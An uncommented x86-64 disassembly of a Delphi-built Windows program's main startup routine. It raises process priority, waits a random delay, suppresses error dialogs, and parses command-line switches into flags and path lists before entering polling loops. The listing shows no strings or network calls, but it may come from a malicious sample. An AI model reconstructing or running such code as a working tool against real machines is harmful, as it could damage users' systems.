0045172emov [rbp+392], 0
00451739mov [rbp+408], 0
00451744mov [rbp+400], 0
0045174fmov [rbp+424], 0
0045175amov [rbp+416], 0
00451765mov [rbp+432], 0
00451770mov [rbp+440], 0
0045177bmov [rbp+448], 0
00451786mov [rbp+456], 0
00451791mov [rbp+464], 0
0045179cmov [rbp+472], 0
004517a7mov [rbp+480], 0
004517b2mov [rbp+488], 0
004517bdmov [rbp+496], 0
004517c8mov [rbp+504], 0
004517d3mov [rbp+512], 0
004517demov [rbp+520], 0
004517e9mov [rbp+528], 0
004517f4mov [rbp+536], 0
004517ffmov [rbp+544], 0
0045180amov [rbp+552], 0
00451815mov [rbp+584], 0
00451820mov [rbp+576], 0
0045182bmov [rbp+568], 0
00451836mov [rbp+560], 0
00451841nop
00451842lea rcx, [rip+9455]
00451849call fn_415220
0045184enop
0045184fcall fn_4343c0
00451854call fn_450f50
00451859call fn_451040
0045185etest al, al
00451860je 0x4530dc
00451866mov rax, [rip+0x12753]
0045186dcmp [rax+308], 0
00451874je 0x451893
00451876mov rax, [rip+0x1275b]
0045187dcmp [rax+768], 0
00451884je 0x451893
00451886call fn_438c40
0045188btest al, al
0045188dje 0x4530dc
00451893
00451893loc_451893:
00451893mov rax, [rip+0x12726]
0045189acmp [rax+308], 0
004518a1je 0x4518c6
004518a3lea rcx, [rip+6706]
004518aamov dl, 1
004518accall fn_439060
004518b1xor ecx, ecx
004518b3call fn_4392a0
004518b8lea rcx, [rip+6737]
004518bfmov dl, 1
004518c1call fn_439060
004518c6
004518c6loc_4518c6:
004518c6call GetCurrentProcessId
004518cbmov ecx, eax
004518cdmov edx, 128
004518d2call SetPriorityClass
004518d7call fn_450ed0
004518dcmov ecx, 10
004518e1call fn_405e80
004518e6mov ecx, eax
004518e8imul ecx, ecx, 1000
004518eeadd ecx, 1000
004518f4call Sleep
004518f9call fn_425d00
004518femov rax, [rip+0x126bb]
00451905movsd_xmm [rax+744], x0
0045190dmov ecx, 1
00451912call SetErrorMode
00451917mov rax, [rip+0x126a2]
0045191ecmp [rax+308], 0
00451925je 0x45193c
00451927lea rcx, [rip+6658]
0045192emov dl, 1
00451930call fn_439060
00451935xor ecx, ecx
00451937call fn_4392a0
0045193c
0045193cloc_45193c:
0045193ccall fn_4343e0
00451941mov rax, [rip+0x12678]
00451948cmp [rax+308], 0
0045194fje 0x4519ff
00451955lea rcx, [rbp+576]
0045195cmov rax, [rip+0x1265d]
00451963movzx rdx, [rax+8]
00451968call fn_4225b0
0045196dlea rcx, [rbp+568]
00451974mov rax, [rip+0x12645]
0045197bmovzx rdx, [rax+9]
00451980call fn_4225b0
00451985lea rcx, [rbp+560]
0045198cmov rax, [rip+0x1262d]
00451993mov edx, [rax+12]
00451996call fn_4225f0
0045199blea rcx, [rbp+584]
004519a2mov edx, 6
004519a7lea r8, [rip+6574]
004519aemov r9, [rbp+576]
004519b5lea rax, [rip+6592]
004519bcmov [rsp+32], rax
004519c1mov rax, [rbp+568]
004519c8mov [rsp+40], rax
004519cdlea rax, [rip+6568]
004519d4mov [rsp+48], rax
004519d9mov rax, [rbp+560]
004519e0mov [rsp+56], rax
004519e5call fn_40dbb0
004519eamov rcx, [rbp+584]
004519f1mov dl, 1
004519f3call fn_439060
004519f8xor ecx, ecx
004519facall fn_4392a0
004519ff
004519ffloc_4519ff:
004519ffmov rax, [rip+0x125ba]
00451a06cmp [rax+308], 0
00451a0dje 0x451a24
00451a0flea rcx, [rip+6518]
00451a16mov dl, 1
00451a18call fn_439060
00451a1dxor ecx, ecx
00451a1fcall fn_4392a0
00451a24
00451a24loc_451a24:
00451a24call fn_437fd0
00451a29test al, al
00451a2bjne 0x451a5b
00451a2dmov rax, [rip+0x1258c]
00451a34cmp [rax+308], 0
00451a3bje 0x4530dc
00451a41lea rcx, [rip+6508]
00451a48mov dl, 1
00451a4acall fn_439060
00451a4fxor ecx, ecx
00451a51call fn_4392a0
00451a56jmp 0x4530dc
00451a5b
00451a5bloc_451a5b:
00451a5bmov rax, [rip+0x1255e]
00451a62cmp [rax+308], 0
00451a69je 0x451a79
00451a6blea rcx, [rip+6570]
00451a72mov dl, 1
00451a74call fn_439060
00451a79
00451a79loc_451a79:
00451a79call fn_405d70
00451a7ecmp eax, 1
00451a81jne 0x451ac8
00451a83lea rcx, [rbp+552]
00451a8amov edx, 1
00451a8fcall fn_405df0
00451a94mov rcx, [rbp+552]
00451a9bcall fn_4503e0
00451aa0test al, al
00451aa2jne 0x451ac8
00451aa4lea rcx, [rbp+544]
00451aabmov edx, 1
00451ab0call fn_405df0
00451ab5mov rcx, [rip+0x123ec]
00451abcmov rdx, [rbp+544]
00451ac3call fn_40d850
00451ac8
00451ac8loc_451ac8:
00451ac8mov [rip+0x1ecda], 1
00451ad2jmp 0x4524d7
00451ad7
00451ad7loc_451ad7:
00451ad7lea rcx, [rbp+536]
00451ademov edx, [rip+0x1ecc8]
00451ae4call fn_405df0
00451ae9mov rcx, [rbp+536]
00451af0lea rdx, [rip+6477]
00451af7call fn_40dc90
00451afctest eax, eax
00451afejne 0x451b28
00451b00mov rax, [rip+0x124b9]
00451b07mov [rax+321], 1
00451b0emov rax, [rip+0x124ab]
00451b15mov [rax+313], 0
00451b1cadd [rip+0x1ec89], 1
00451b23jmp 0x4524d7
00451b28
00451b28loc_451b28:
00451b28lea rcx, [rbp+528]
00451b2fmov edx, [rip+0x1ec77]
00451b35call fn_405df0
00451b3amov rcx, [rbp+528]
00451b41lea rdx, [rip+6428]
00451b48call fn_40dc90
00451b4dtest eax, eax
00451b4fjne 0x451bc2
00451b51add [rip+0x1ec54], 1
00451b58jmp 0x451baf
00451b5a
00451b5aloc_451b5a:
00451b5alea rcx, [rbp+520]
00451b61mov edx, [rip+0x1ec45]
00451b67call fn_405df0
00451b6cmov rcx, [rbp+520]
00451b73call fn_4503e0
00451b78test al, al
00451b7ajne 0x451bbc
00451b7clea rcx, [rbp+512]
00451b83mov edx, [rip+0x1ec23]
00451b89call fn_405df0
00451b8emov rax, [rip+0x1242b]
00451b95mov rcx, [rax+776]
00451b9cmov rdx, [rbp+512]
00451ba3call TSimpleStringList.Add
00451ba8add [rip+0x1ebfd], 1
00451baf
00451bafloc_451baf:
00451bafcall fn_405d70
00451bb4cmp [rip+0x1ebf2], eax
00451bbajle 0x451b5a
00451bbc
00451bbcloc_451bbc:
00451bbcnop
00451bbdjmp 0x4524d7
00451bc2
00451bc2loc_451bc2:
00451bc2lea rcx, [rbp+504]
00451bc9mov edx, [rip+0x1ebdd]
00451bcfcall fn_405df0
00451bd4mov rcx, [rbp+504]
00451bdblea rdx, [rip+6298]
00451be2call fn_40dc90
00451be7test eax, eax
00451be9jne 0x451c5c
00451bebadd [rip+0x1ebba], 1
00451bf2jmp 0x451c49
00451bf4
00451bf4loc_451bf4:
00451bf4lea rcx, [rbp+496]
00451bfbmov edx, [rip+0x1ebab]
00451c01call fn_405df0
00451c06mov rcx, [rbp+496]
00451c0dcall fn_4503e0
00451c12test al, al
00451c14jne 0x451c56
00451c16lea rcx, [rbp+488]
00451c1dmov edx, [rip+0x1eb89]
00451c23call fn_405df0
00451c28mov rax, [rip+0x12391]
00451c2fmov rcx, [rax+768]
00451c36mov rdx, [rbp+488]
00451c3dcall TSimpleStringList.Add
00451c42add [rip+0x1eb63], 1
00451c49
00451c49loc_451c49:
00451c49call fn_405d70
00451c4ecmp [rip+0x1eb58], eax
00451c54jle 0x451bf4
00451c56
00451c56loc_451c56:
00451c56nop
00451c57jmp 0x4524d7
00451c5c
00451c5cloc_451c5c:
00451c5clea rcx, [rbp+480]
00451c63mov edx, [rip+0x1eb43]
00451c69call fn_405df0
00451c6emov rcx, [rbp+480]
00451c75lea rdx, [rip+6176]
00451c7ccall fn_40dc90
00451c81test eax, eax
00451c83jne 0x451cf3
00451c85add [rip+0x1eb20], 1
00451c8cjmp 0x451ce0
00451c8e
00451c8eloc_451c8e:
00451c8elea rcx, [rbp+472]
00451c95mov edx, [rip+0x1eb11]
00451c9bcall fn_405df0
00451ca0mov rcx, [rbp+472]
00451ca7call fn_4503e0
00451cactest al, al
00451caejne 0x451ced
00451cb0lea rcx, [rbp+464]
00451cb7mov edx, [rip+0x1eaef]
00451cbdcall fn_405df0
00451cc2mov rax, [rip+0x122f7]
00451cc9mov rcx, [rax+64]
00451ccdmov rdx, [rbp+464]
00451cd4call TSimpleStringList.Add
00451cd9add [rip+0x1eacc], 1
00451ce0
00451ce0loc_451ce0:
00451ce0call fn_405d70
00451ce5cmp [rip+0x1eac1], eax
00451cebjle 0x451c8e
00451ced
00451cedloc_451ced:
00451cednop
00451ceejmp 0x4524d7
00451cf3
00451cf3loc_451cf3:
00451cf3lea rcx, [rbp+456]
00451cfamov edx, [rip+0x1eaac]
00451d00call fn_405df0
00451d05mov rcx, [rbp+456]
00451d0clea rdx, [rip+6045]
00451d13call fn_40dc90
00451d18test eax, eax
00451d1ajne 0x451d38
00451d1cmov rax, [rip+0x1229d]
00451d23mov rcx, [rax+64]
00451d27call TSimpleStringList.Clear
00451d2cadd [rip+0x1ea79], 1
00451d33jmp 0x4524d7
00451d38
00451d38loc_451d38:
00451d38lea rcx, [rbp+448]
00451d3fmov edx, [rip+0x1ea67]
00451d45call fn_405df0
00451d4amov rcx, [rbp+448]
00451d51lea rdx, [rip+6020]
00451d58call fn_40dc90
00451d5dtest eax, eax
00451d5fjne 0x451d7b
00451d61mov rax, [rip+0x12258]
00451d68mov [rax+302], 1
00451d6fadd [rip+0x1ea36], 1
00451d76jmp 0x4524d7
00451d7b
00451d7bloc_451d7b:
00451d7blea rcx, [rbp+440]
00451d82mov edx, [rip+0x1ea24]
00451d88call fn_405df0
00451d8dmov rcx, [rbp+440]
00451d94lea rdx, [rip+5981]
00451d9bcall fn_40dc90
00451da0test eax, eax
00451da2jne 0x451dbe
00451da4mov rax, [rip+0x12215]
00451dabmov [rax+313], 0
00451db2add [rip+0x1e9f3], 1
00451db9jmp 0x4524d7
00451dbe
00451dbeloc_451dbe:
00451dbelea rcx, [rbp+432]
00451dc5mov edx, [rip+0x1e9e1]
00451dcbcall fn_405df0
00451dd0mov rcx, [rbp+432]
00451dd7lea rdx, [rip+5950]
00451ddecall fn_40dc90
00451de3test eax, eax
00451de5jne 0x451ebe
00451debmov rax, [rip+0x121ce]
00451df2mov [rax+305], 0
00451df9mov rax, [rip+0x121c0]
00451e00mov [rax+306], 0
00451e07lea rcx, [rbp+424]
00451e0emov edx, [rip+0x1e998]
00451e14add edx, 1
00451e17call fn_405df0
00451e1clea rcx, [rbp+416]
00451e23mov rdx, [rbp+424]
00451e2axor r8, r8
00451e2dcall fn_40cff0
00451e32mov rcx, [rbp+416]
00451e39call fn_4307b0
00451e3etest al, al
00451e40je 0x451e94
00451e42lea rcx, [rbp+408]
00451e49mov edx, [rip+0x1e95d]
00451e4fadd edx, 1
00451e52call fn_405df0
00451e57lea rcx, [rbp+400]
00451e5emov rdx, [rbp+408]
00451e65call fn_40d850
00451e6amov rcx, [rbp+400]
00451e71mov edx, 10
00451e76mov r8l, 1
00451e7cmov r9l, 100
00451e82call fn_450df0
00451e87mov rcx, [rip+0x12132]
00451e8emov [rcx+314], al
00451e94
00451e94loc_451e94:
00451e94mov rax, [rip+0x12125]
00451e9bcmp [rax+314], 100
00451ea2jne 0x451eb2
00451ea4mov rax, [rip+0x12115]
00451eabmov [rax+305], 1
00451eb2
00451eb2loc_451eb2:
00451eb2add [rip+0x1e8f3], 2
00451eb9jmp 0x4524d7
00451ebe
00451ebeloc_451ebe:
00451ebelea rcx, [rbp+392]
00451ec5mov edx, [rip+0x1e8e1]
00451ecbcall fn_405df0
00451ed0mov rcx, [rbp+392]
00451ed7lea rdx, [rip+5722]
00451edecall fn_40dc90
00451ee3test eax, eax
00451ee5jne 0x451f7d
00451eebmov rax, [rip+0x120ce]
00451ef2mov [rax+311], 1
00451ef9mov rax, [rip+0x120c0]
00451f00mov rcx, [rax+760]
00451f07call TSimpleStringList.Clear
00451f0cadd [rip+0x1e899], 1
00451f13jmp 0x451f6a
00451f15
00451f15loc_451f15:
00451f15lea rcx, [rbp+384]
00451f1cmov edx, [rip+0x1e88a]
00451f22call fn_405df0
00451f27mov rcx, [rbp+384]
00451f2ecall fn_4503e0
00451f33test al, al
00451f35jne 0x451f77
00451f37lea rcx, [rbp+376]
00451f3emov edx, [rip+0x1e868]
00451f44call fn_405df0
00451f49mov rax, [rip+0x12070]
00451f50mov rcx, [rax+760]
00451f57mov rdx, [rbp+376]
00451f5ecall TSimpleStringList.Add
00451f63add [rip+0x1e842], 1
00451f6a
00451f6aloc_451f6a:
00451f6acall fn_405d70
00451f6fcmp [rip+0x1e837], eax
00451f75jle 0x451f15
00451f77
00451f77loc_451f77:
00451f77nop
00451f78jmp 0x4524d7
00451f7d
00451f7dloc_451f7d:
00451f7dlea rcx, [rbp+368]
00451f84mov edx, [rip+0x1e822]
00451f8acall fn_405df0
00451f8fmov rcx, [rbp+368]
00451f96lea rdx, [rip+5555]
00451f9dcall fn_40dc90
00451fa2test eax, eax
00451fa4jne 0x451fc0
00451fa6mov rax, [rip+0x12013]
00451fadmov [rax+312], 0
00451fb4add [rip+0x1e7f1], 1
00451fbbjmp 0x4524d7
00451fc0
00451fc0loc_451fc0:
00451fc0lea rcx, [rbp+360]
00451fc7mov edx, [rip+0x1e7df]
00451fcdcall fn_405df0
00451fd2mov rcx, [rbp+360]
00451fd9lea rdx, [rip+5532]
00451fe0call fn_40dc90
00451fe5test eax, eax
00451fe7jne 0x45205e
00451fe9lea rcx, [rbp+352]
00451ff0mov edx, [rip+0x1e7b6]
00451ff6add edx, 1
00451ff9call fn_405df0
00451ffelea rcx, [rbp+344]
00452005mov rdx, [rbp+352]
0045200cxor r8, r8
0045200fcall fn_40cff0
00452014mov rcx, [rbp+344]
0045201bcall fn_4307b0
00452020test al, al
00452022je 0x452052
00452024lea rcx, [rbp+336]
0045202bmov edx, [rip+0x1e77b]
00452031add edx, 1
00452034call fn_405df0
00452039mov rcx, [rbp+336]
00452040call fn_4228a0
00452045mov rcx, [rip+0x11f74]
0045204cmov [rcx+144], eax
00452052
00452052loc_452052:
00452052add [rip+0x1e753], 2
00452059jmp 0x4524d7
0045205e
0045205eloc_45205e:
0045205elea rcx, [rbp+328]
00452065mov edx, [rip+0x1e741]
0045206bcall fn_405df0
00452070mov rcx, [rbp+328]
00452077lea rdx, [rip+5402]
0045207ecall fn_40dc90
00452083test eax, eax
00452085jne 0x452093
00452087add [rip+0x1e71e], 2
0045208ejmp 0x4524d7
00452093
00452093loc_452093:
00452093lea rcx, [rbp+320]
0045209amov edx, [rip+0x1e70c]
004520a0call fn_405df0
004520a5mov rcx, [rbp+320]
004520aclea rdx, [rip+5377]
004520b3call fn_40dc90
004520b8test eax, eax
004520bajne 0x4520c8
004520bcadd [rip+0x1e6e9], 1
004520c3jmp 0x4524d7
004520c8
004520c8loc_4520c8:
004520c8lea rcx, [rbp+312]
004520cfmov edx, [rip+0x1e6d7]
004520d5call fn_405df0
004520damov rcx, [rbp+312]
004520e1lea rdx, [rip+5352]
004520e8call fn_40dc90
004520edtest eax, eax
004520efjne 0x45210b
004520f1mov rax, [rip+0x11ec8]
004520f8mov [rax+310], 0
004520ffadd [rip+0x1e6a6], 1
00452106jmp 0x4524d7
0045210b
0045210bloc_45210b:
0045210blea rcx, [rbp+304]
00452112mov edx, [rip+0x1e694]
00452118call fn_405df0
0045211dmov rcx, [rbp+304]
00452124lea rdx, [rip+5325]
0045212bcall fn_40dc90
00452130test eax, eax
00452132jne 0x45214e
00452134mov rax, [rip+0x11e85]
0045213bmov [rax+301], 1
00452142add [rip+0x1e663], 1
00452149jmp 0x4524d7
0045214e
0045214eloc_45214e:
0045214elea rcx, [rbp+296]
00452155mov edx, [rip+0x1e651]
0045215bcall fn_405df0
00452160mov rcx, [rbp+296]
00452167lea rdx, [rip+5286]
0045216ecall fn_40dc90
00452173test eax, eax
00452175jne 0x452191
00452177mov rax, [rip+0x11e42]
0045217emov [rax+303], 1
00452185add [rip+0x1e620], 1
0045218cjmp 0x4524d7
00452191
00452191loc_452191:
00452191lea rcx, [rbp+288]
00452198mov edx, [rip+0x1e60e]
0045219ecall fn_405df0
004521a3mov rcx, [rbp+288]
004521aalea rdx, [rip+5239]
004521b1call fn_40dc90
004521b6test eax, eax
004521b8jne 0x4521e2
004521bamov rax, [rip+0x11dff]
004521c1mov [rax+305], 1
004521c8mov rax, [rip+0x11df1]
004521cfmov [rax+306], 0
004521d6add [rip+0x1e5cf], 1
004521ddjmp 0x4524d7
004521e2
004521e2loc_4521e2:
004521e2lea rcx, [rbp+280]
004521e9mov edx, [rip+0x1e5bd]
004521efcall fn_405df0
004521f4mov rcx, [rbp+280]
004521fblea rdx, [rip+5182]
00452202call fn_40dc90
00452207test eax, eax
00452209jne 0x452233
0045220bmov rax, [rip+0x11dae]
00452212mov [rax+305], 0
00452219mov rax, [rip+0x11da0]
00452220mov [rax+306], 1
00452227add [rip+0x1e57e], 1
0045222ejmp 0x4524d7
00452233
00452233loc_452233:
00452233lea rcx, [rbp+272]
0045223amov edx, [rip+0x1e56c]
00452240call fn_405df0
00452245mov rcx, [rbp+272]
0045224clea rdx, [rip+5125]
00452253call fn_40dc90
00452258test eax, eax
0045225ajne 0x452276
0045225cmov rax, [rip+0x11d5d]
00452263mov [rax+307], 1
0045226aadd [rip+0x1e53b], 1
00452271jmp 0x4524d7
00452276
00452276loc_452276:
00452276lea rcx, [rbp+264]
0045227dmov edx, [rip+0x1e529]
00452283call fn_405df0
00452288mov rcx, [rbp+264]
0045228flea rdx, [rip+5086]
00452296call fn_40dc90
0045229btest eax, eax
0045229djne 0x4522b9
0045229fmov rax, [rip+0x11d1a]
004522a6mov [rax+320], 1
004522adadd [rip+0x1e4f8], 1
004522b4jmp 0x4524d7
004522b9
004522b9loc_4522b9:
004522b9lea rcx, [rbp+256]
004522c0mov edx, [rip+0x1e4e6]
004522c6call fn_405df0
004522cbmov rcx, [rbp+256]
004522d2lea rdx, [rip+5055]
004522d9call fn_40dc90
004522detest eax, eax
004522e0jne 0x452343
004522e2mov rax, [rip+0x11cd7]
004522e9cmp [rax+320], 0
004522f0je 0x452337
004522f2lea rcx, [rbp+248]
004522f9mov edx, [rip+0x1e4ad]
004522ffadd edx, 1
00452302call fn_405df0
00452307lea rcx, [rbp+240]
0045230emov rdx, [rbp+248]
00452315xor r8, r8
00452318call fn_40cff0
0045231dmov rcx, [rbp+240]
00452324mov rax, [rip+0x11c95]
0045232blea rdx, [rax+128]
00452332call fn_430db0
00452337
00452337loc_452337:
00452337add [rip+0x1e46e], 2
0045233ejmp 0x4524d7
00452343
00452343loc_452343:
00452343lea rcx, [rbp+232]
0045234amov edx, [rip+0x1e45c]
00452350call fn_405df0
00452355mov rcx, [rbp+232]
0045235clea rdx, [rip+4949]
00452363call fn_40dc90
00452368test eax, eax
0045236ajne 0x4523ca
0045236cmov rax, [rip+0x11c4d]
00452373cmp [rax+320], 0
0045237aje 0x4523be
0045237clea rcx, [rbp+224]
00452383mov edx, [rip+0x1e423]
00452389add edx, 1
0045238ccall fn_405df0
00452391lea rcx, [rbp+216]
00452398mov rdx, [rbp+224]
0045239fxor r8, r8
004523a2call fn_40cff0
004523a7mov rcx, [rbp+216]
004523aemov rax, [rip+0x11c0b]
004523b5lea rdx, [rax+40]
004523b9call fn_430db0
004523be
004523beloc_4523be:
004523beadd [rip+0x1e3e7], 2
004523c5jmp 0x4524d7
004523ca
004523caloc_4523ca:
004523calea rcx, [rbp+208]
004523d1mov edx, [rip+0x1e3d5]
004523d7call fn_405df0
004523dcmov rcx, [rbp+208]
004523e3lea rdx, [rip+4846]
004523eacall fn_40dc90
004523eftest eax, eax
004523f1je 0x45241c
004523f3lea rcx, [rbp+200]
004523famov edx, [rip+0x1e3ac]
00452400call fn_405df0
00452405mov rcx, [rbp+200]
0045240clea rdx, [rip+4825]
00452413call fn_40dc90
00452418test eax, eax
0045241ajne 0x452450
0045241c
0045241cloc_45241c:
0045241clea rcx, [rbp+192]
00452423mov edx, [rip+0x1e383]
00452429add edx, 1
0045242ccall fn_405df0
00452431mov rcx, [rip+0x11a70]
00452438mov rdx, [rbp+192]
0045243fcall fn_40d850
00452444add [rip+0x1e361], 2
0045244bjmp 0x4524d7
00452450
00452450loc_452450:
00452450lea rcx, [rbp+184]
00452457mov edx, [rip+0x1e34f]
0045245dcall fn_405df0
00452462mov rcx, [rbp+184]
00452469lea rdx, [rip+4756]
00452470call fn_40dc90
00452475test eax, eax
00452477jne 0x452490
00452479mov rax, [rip+0x11b40]
00452480mov [rax+299], 1
00452487add [rip+0x1e31e], 1
0045248ejmp 0x4524d7
00452490
00452490loc_452490:
00452490lea rcx, [rbp+176]
00452497mov edx, [rip+0x1e30f]
0045249dcall fn_405df0
004524a2mov rcx, [rbp+176]
004524a9lea rdx, [rip+4720]
004524b0call fn_40dc90
004524b5test eax, eax
004524b7jne 0x4524d0
004524b9mov rax, [rip+0x11b00]
004524c0mov [rax+300], 1
004524c7add [rip+0x1e2de], 1
004524cejmp 0x4524d7
004524d0
004524d0loc_4524d0:
004524d0add [rip+0x1e2d5], 1
004524d7
004524d7loc_4524d7:
004524d7call fn_405d70
004524dccmp [rip+0x1e2ca], eax
004524e2jle 0x451ad7
004524e8mov rax, [rip+0x11ad1]
004524efcmp [rax+321], 0
004524f6je 0x452517
004524f8mov rax, [rip+0x119a9]
004524ffmov rcx, [rax]
00452502xor edx, edx
00452504call fn_40d640
00452509test eax, eax
0045250bjne 0x452517
0045250dcall fn_451420
00452512jmp 0x4530dc
00452517
00452517loc_452517:
00452517mov rax, [rip+0x11aa2]
0045251ecmp [rax+308], 0
00452525je 0x45256e
00452527mov rax, [rip+0x1197a]
0045252emov rcx, [rax]
00452531xor edx, edx
00452533call fn_40d640
00452538test eax, eax
0045253ajne 0x45256e
0045253clea rcx, [rip+4597]
00452543xor edx, edx
00452545call fn_439060
0045254alea rcx, [rip+4743]
00452551xor edx, edx
00452553call fn_439060
00452558mov rcx, [rip+0x11b51]
0045255fcall fn_4078c0
00452564call fn_405a40
00452569jmp 0x4530dc
0045256e
0045256eloc_45256e:
0045256emov rax, [rip+0x11a4b]
00452575lea rcx, [rax+64]
00452579call fn_448720
0045257emov rax, [rip+0x11a3b]
00452585lea rcx, [rax+64]
00452589call fn_447be0
0045258emov rax, [rip+0x11a2b]
00452595lea rcx, [rax+64]
00452599call fn_447fa0
0045259emov rax, [rip+0x11a1b]
004525a5mov eax, [rax+144]
004525abtest eax, eax
004525adje 0x45261e
004525afmov rcx, [rip+0x11a0a]
004525b6cmp [rcx+308], 0
004525bdje 0x452606
004525bflea rcx, [rbp+160]
004525c6mov edx, eax
004525c8call fn_4225b0
004525cdlea rcx, [rbp+168]
004525d4mov edx, 3
004525d9lea r8, [rip+4668]
004525e0mov r9, [rbp+160]
004525e7lea rax, [rip+4682]
004525eemov [rsp+32], rax
004525f3call fn_40dbb0
004525f8mov rcx, [rbp+168]
004525ffmov dl, 1
00452601call fn_439060
00452606
00452606loc_452606:
00452606mov rax, [rip+0x119b3]
0045260dmov ecx, [rax+144]
00452613imul ecx, ecx, 1000
00452619call Sleep
0045261e
0045261eloc_45261e:
0045261emov rax, [rip+0x1199b]
00452625cmp [rax+308], 0
0045262cje 0x452643
0045262elea rcx, [rip+4671]
00452635mov dl, 1
00452637call fn_439060
0045263cxor ecx, ecx
0045263ecall fn_4392a0
00452643
00452643loc_452643:
00452643mov rax, [rip+0x11976]
0045264amov rax, [rax+128]
00452651test rax, rax
00452654je 0x45265a
00452656mov rax, [rax-8]
0045265a
0045265aloc_45265a:
0045265atest rax, rax
0045265djne 0x452672
0045265fmov rax, [rip+0x1195a]
00452666lea rcx, [rax+128]
0045266dcall fn_432d90
00452672
00452672loc_452672:
00452672mov rax, [rip+0x1182f]
00452679mov rcx, [rax]
0045267cxor edx, edx
0045267ecall fn_40d640
00452683test eax, eax
00452685jne 0x4526c3
00452687lea rcx, [rbp+152]
0045268emov rax, [rip+0x1192b]
00452695lea rdx, [rax+128]
0045269ccall fn_430d40
004526a1mov rax, [rip+0x11918]
004526a8lea rcx, [rax+288]
004526afmov rdx, [rbp+152]
004526b6call fn_430bc0
004526bbtest al, al
004526bdjne 0x4530dc
004526c3
004526c3loc_4526c3:
004526c3mov rax, [rip+0x118f6]
004526cacmp [rax+308], 0
004526d1je 0x4526e1
004526d3lea rcx, [rip+4554]
004526damov dl, 1
004526dccall fn_439060
004526e1
004526e1loc_4526e1:
004526e1call fn_44e2d0
004526e6mov rax, [rip+0x118d3]
004526edcmp [rax+308], 0
004526f4je 0x452714
004526f6xor ecx, ecx
004526f8mov dl, 1
004526facall fn_439060
004526fflea rcx, [rip+4566]
00452706mov dl, 1
00452708call fn_439060
0045270dxor ecx, ecx
0045270fcall fn_4392a0
00452714
00452714loc_452714:
00452714mov rax, [rip+0x118a5]
0045271bcmp [rax+307], 0
00452722jne 0x452729
00452724call fn_440470
00452729
00452729loc_452729:
00452729mov rax, [rip+0x11890]
00452730cmp [rax+308], 0
00452737je 0x45274e
00452739lea rcx, [rip+4600]
00452740mov dl, 1
00452742call fn_439060
00452747xor ecx, ecx
00452749call fn_4392a0
0045274e
0045274eloc_45274e:
0045274emov rax, [rip+0x1186b]
00452755cmp [rax+307], 0
0045275cjne 0x452763
0045275ecall fn_43ae60
00452763
00452763loc_452763:
00452763mov rax, [rip+0x11856]
0045276acmp [rax+307], 0
00452771je 0x452778
00452773call fn_4486b0
00452778
00452778loc_452778:
00452778mov rax, [rip+0x11841]
0045277fmov rax, [rax+72]
00452783cmp [rax+16], 0
00452787je 0x4527c1
00452789jmp 0x452795
0045278b
0045278bloc_45278b:
0045278bmov ecx, 10000
00452790call Sleep
00452795
00452795loc_452795:
00452795xor ecx, ecx
00452797xor edx, edx
00452799lea r8, [rip-9232]
004527a0xor r9, r9
004527a3mov [rsp+32], 0
004527abmov rax, [rip+0x11766]
004527b2mov [rsp+40], rax
004527b7call fn_40bb20
004527bctest rax, rax
004527bfje 0x45278b
004527c1
004527c1loc_4527c1:
004527c1call fn_450980
004527c6mov rax, [rip+0x116db]
004527cdmov rcx, [rax]
004527d0xor edx, edx
004527d2call fn_40d640
004527d7test eax, eax
004527d9je 0x452c07
004527dfmov rax, [rip+0x117da]
004527e6mov [rax+317], 0
004527edmov rax, [rip+0x116b4]
004527f4mov rcx, [rax]
004527f7call fn_42fe80
004527fctest al, al
004527feje 0x452872
00452800mov rax, [rip+0x117b9]
00452807cmp [rax+308], 0
0045280eje 0x45285e
00452810xor ecx, ecx
00452812mov dl, 1
00452814call fn_439060
00452819lea rcx, [rbp+144]
00452820lea rdx, [rip+4413]
00452827mov rax, [rip+0x1167a]
0045282emov r8, [rax]
00452831call fn_40d230
00452836lea rcx, [rbp+136]
0045283dmov rdx, [rbp+144]
00452844call fn_40d820
00452849mov rcx, [rbp+136]
00452850mov dl, 1
00452852call fn_439060
00452857xor ecx, ecx
00452859call fn_4392a0
0045285e
0045285eloc_45285e:
0045285emov rax, [rip+0x11643]
00452865mov rcx, [rax]
00452868call fn_44e970
0045286djmp 0x4529e7
00452872
00452872loc_452872:
00452872mov rax, [rip+0x11747]
00452879cmp [rax+307], 0
00452880jne 0x4528d6
00452882mov rax, [rip+0x11737]
00452889cmp [rax+308], 0
00452890jne 0x4528d6
00452892jmp 0x45289e
00452894
00452894loc_452894:
00452894mov ecx, 10000
00452899call Sleep
0045289e
0045289eloc_45289e:
0045289exor ecx, ecx
004528a0xor edx, edx
004528a2lea r8, [rip-14505]
004528a9xor r9, r9
004528acmov [rsp+32], 0
004528b4mov rax, [rip+0x1165d]
004528bbmov [rsp+40], rax
004528c0call fn_40bb20
004528c5test rax, rax
004528c8je 0x452894
004528camov ecx, 5000
004528cfcall Sleep
004528d4jmp 0x4528e4
004528d6
004528d6loc_4528d6:
004528d6mov rax, [rip+0x116e3]
004528ddmov [rax+317], 1
004528e4
004528e4loc_4528e4:
004528e4mov rax, [rip+0x116d5]
004528ebcmp [rax+308], 0
004528f2je 0x45293c
004528f4xor ecx, ecx
004528f6mov dl, 1
004528f8call fn_439060
004528fdlea rcx, [rbp+128]
00452904lea rdx, [rip+4233]
0045290bmov rax, [rip+0x11596]
00452912mov r8, [rax]
00452915call fn_40d230
0045291alea rcx, [rbp+120]
0045291emov rdx, [rbp+128]
00452925call fn_40d820
0045292amov rcx, [rbp+120]
0045292emov dl, 1
00452930call fn_439060
00452935xor ecx, ecx
00452937call fn_4392a0
0045293c
0045293cloc_45293c:
0045293cmov rax, [rip+0x11565]
00452943mov rcx, [rax]
00452946call fn_44ec90
0045294bjmp 0x452957
0045294d
0045294dloc_45294d:
0045294dmov ecx, 1000
00452952call Sleep
00452957
00452957loc_452957:
00452957mov rax, [rip+0x11662]
0045295ecmp [rax+317], 0
00452965je 0x45294d
00452967mov rax, [rip+0x11652]
0045296ecmp [rax+308], 0
00452975je 0x452995
00452977xor ecx, ecx
00452979mov dl, 1
0045297bcall fn_439060
00452980lea rcx, [rip+4169]
00452987mov dl, 1
00452989call fn_439060
0045298exor ecx, ecx
00452990call fn_4392a0
00452995
00452995loc_452995:
00452995call fn_439260
0045299amov rax, [rip+0x1161f]
004529a1cmp [rax+308], 0
004529a8je 0x4529e7
004529aamov rax, [rip+0x11627]
004529b1cmp [rax+768], 0
004529b8je 0x4529e7
004529balea rcx, [rip+4167]
004529c1xor edx, edx
004529c3call fn_439060
004529c8lea rcx, [rip+3593]
004529cfxor edx, edx
004529d1call fn_439060
004529d6mov rcx, [rip+0x116d3]
004529ddcall fn_4078c0
004529e2call fn_405a40
004529e7
004529e7loc_4529e7:
